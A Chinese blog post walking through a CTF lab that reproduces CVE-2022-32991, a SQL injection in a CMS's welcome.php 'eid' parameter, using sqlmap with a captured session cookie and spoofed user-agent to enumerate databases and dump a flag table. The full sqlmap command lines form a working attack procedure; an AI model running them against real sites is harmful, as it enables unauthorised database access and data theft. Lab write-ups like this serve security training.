Sqlmap练习之复现CVE-2022-32991

MiracleWolf 2023-11-14 206 11/14

一、Sqlmap常用命令

-u  指定目标URL (可以是http协议也可以是https协议)
-d  连接数据库
--dbs   列出所有的数据库
--current-db    列出当前数据库
--tables    列出当前的表
--columns   列出当前的列
-D  选择使用哪个数据库
-T  选择使用哪个表
-C  选择使用哪个列
--dump  获取字段中的数据
--batch 自动选择yes
--method=METHOD 指定是get方法还是post方法。
--random-agent 使用随机user-agent进行测试
--proxy=PROXY 指定一个代理

二、复现步骤

首先题目提示该CMS的welcome.php中存在SQL注入攻击。打开该网页,发现只有登陆和注册模块:
Sqlmap练习之复现CVE-2022-32991
那么随便注册一个并登录看看:Sqlmap练习之复现CVE-2022-32991
同时注意到url:http://eci-2ze255711bu161cl3d69.cloudeci1.ichunqiu.com/welcome.php?q=1
接着点击第一个按钮,观察url:http://eci-2ze255711bu161cl3d69.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34
进一步进行信息搜寻,发现eid参数存在sql注入,此时就可以拿出我们的sqlmap了。

2.1SQLMAP注入过程

首先对于需要登陆的页面进行sql注入,需要获取-cookie信息,那么先用BP抓包:
GET /welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34 HTTP/1.1
Host: eci-2ze255711bu161cl3d69.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a07498tio3upd1fgl275h9357t
Upgrade-Insecure-Requests: 1

记录下攻击需要的UA头与cookie:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Cookie: PHPSESSID=a07498tio3upd1fgl275h9357t

原因:由于该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识, 从而导致攻击的中断。
sqlmap命令顺序:url + request + ua + cookie+batch(自动选择yes) +dbs
payload:

python sqlmap.py -u "http://eci-2ze255711bu161cl3d69.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" 
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0" --cookie="PHPSESSID=a07498tio3upd1fgl275h9357t" --batch --dbs

可以看到sqlmap已经判断出了eid参数的sql注入类型:Sqlmap练习之复现CVE-2022-32991

同时获取到了所有的数据库:Sqlmap练习之复现CVE-2022-32991
显然,应该从ctf库中入手,查询表的名字:-D "数据库名" --tables
payload:

python sqlmap.py -u "http://eci-2ze255711bu161cl3d69.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" 
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0" --cookie="PHPSESSID=a07498tio3upd1fgl275h9357t" --batch -D "ctf" --tables

爆出了ctf库下的flag表:Sqlmap练习之复现CVE-2022-32991
接着获取表的字段:-D "ctf" -T "flag" --columns

python sqlmap.py -u "http://eci-2ze255711bu161cl3d69.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" 
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0" --cookie="PHPSESSID=a07498tio3upd1fgl275h9357t" --batch -D "ctf" -T "flag" --columns

Sqlmap练习之复现CVE-2022-32991
已获取flag表下的flag字段,最后获取flag字段内容:
-D "ctf" -T "flag" -C "flag" --dump

python sqlmap.py -u "http://eci-2ze255711bu161cl3d69.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" 
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0" --cookie="PHPSESSID=a07498tio3upd1fgl275h9357t" --batch -D "ctf" -T "flag" -C "flag" --dump

Sqlmap练习之复现CVE-2022-32991
提交即可。

三、总结

本题较为简单,考察对sqlmap的运用和注入点的识别。

- THE END -

MiracleWolf

11月14日23:30

最后修改:2023年11月14日
2

非特殊说明,本博所有文章均为博主原创。